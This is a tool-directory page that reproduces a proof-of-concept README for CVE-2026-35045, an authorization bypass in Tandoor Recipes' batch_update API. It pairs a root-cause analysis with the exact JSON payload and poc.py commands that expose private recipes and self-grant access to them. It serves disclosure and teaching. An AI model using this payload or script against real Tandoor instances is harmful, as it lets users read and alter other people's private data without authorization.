Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-35045-PoC — Proof-of-concept exploit for CVE-2026-35045, a broken object-level authorization vulnerability in Tandoor Recipes, demonstrating unauthorized recipe modification via the batch_update API endpoint. | Kitploit
Tools/GitHubGitHub/filipegaudard/cve-2026-35045-poc
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingPenetration TestingLearning & Education
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

Proof-of-concept exploit for CVE-2026-35045, a broken object-level authorization vulnerability in Tandoor Recipes, demonstrating unauthorized recipe modification via the batch_update API endpoint.

View Repository
11186 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-35045 — Broken Object-Level Authorization in Tandoor Recipes

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


Summary

The PUT /api/recipe/batch_update/ endpoint in Tandoor Recipes v2.6.1 allows any authenticated user within a Space to modify any recipe in that Space — including private recipes owned by other users. This completely bypasses the object-level authorization checks enforced on all standard single-recipe endpoints.

The root cause is a Django REST Framework behavioral gap: detail=False list-actions never invoke has_object_permission(), only has_permission(). The queryset filters solely by space=request.space, with no check for created_by, private, or the shared list. An attacker can force-expose private recipes, self-grant persistent access, revoke other users' permissions, and tamper with metadata — all in a single unauthenticated-looking API call that returns HTTP 200 OK with an empty body.

Vulnerability Details

FieldValue
CVE IDCVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — Authorization Bypass Through User-Controlled Key
CVSS v3.18.1 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Affected VersionTandoor Recipes ≤ 2.6.1
VendorTandoorRecipes/recipes

MITRE ATT&CK Mapping

Technique IDNameRelevance
T1078Valid AccountsAttacker uses legitimate low-privilege credentials to bypass authorization
T1565.001Stored Data ManipulationModifying private recipes and ACLs owned by other users

Root Cause Analysis

1. detail=False Bypasses Object-Level Permission Checks

File: cookbook/views/api.py

@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← No created_by or private check
        )

In Django REST Framework, actions registered with detail=False are list-actions. They never call get_object(), which means check_object_permissions() and CustomRecipePermission.has_object_permission() are never invoked. Only has_permission() runs — which verifies Space membership, not recipe ownership.

2. Standard Endpoints Are Protected Correctly

PUT /api/recipe/{id}/ follows the full DRF permission flow:

get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → denies access if recipe is private and not owned/shared with requester

The batch_update endpoint silently skips this entire chain.

3. Writable Fields via Batch

RecipeBatchUpdateSerializer exposes the following fields — writable on any recipe in the Space:

FieldEffect
privateToggle recipe visibility
shared_add / shared_remove / shared_setManipulate the access control list
keywords_add / keywords_remove / keywords_setAlter recipe metadata
working_time / waiting_timeModify recipe timing data

Attack Flow

┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ Attacker │ ─────────────────────────────────────→│  Tandoor Server │
│ (User B) │   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (Space member)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ NEVER CALLED │
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← No ownership check
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  Recipe ID 2   │
                                                   │  (owned by A)  │
                                                   │  private=false ← patched
                                                   │  shared=[2]  ← self-granted
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ Attacker (B)   │
                                                   │ now has full   │
                                                   │ access to      │
                                                   │ Recipe ID 2    │
                                                   └────────────────┘

Proof of Concept

Requirements

  • Python 3.10+
  • requests library
pip install requests

Usage

# Force-expose a private recipe and self-grant access (default)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# Force-expose only (set private=false)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# Self-grant only (add to shared list, keep private=true)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

Modules / Actions

ActionDescription
exposeSets private: false on the target recipe — forces visibility to all Space members
self_grantAdds attacker's user ID to shared_add — grants persistent access even if recipe stays private
bothRuns both actions in a single request (default)

Manual Verification (curl)

Download Tool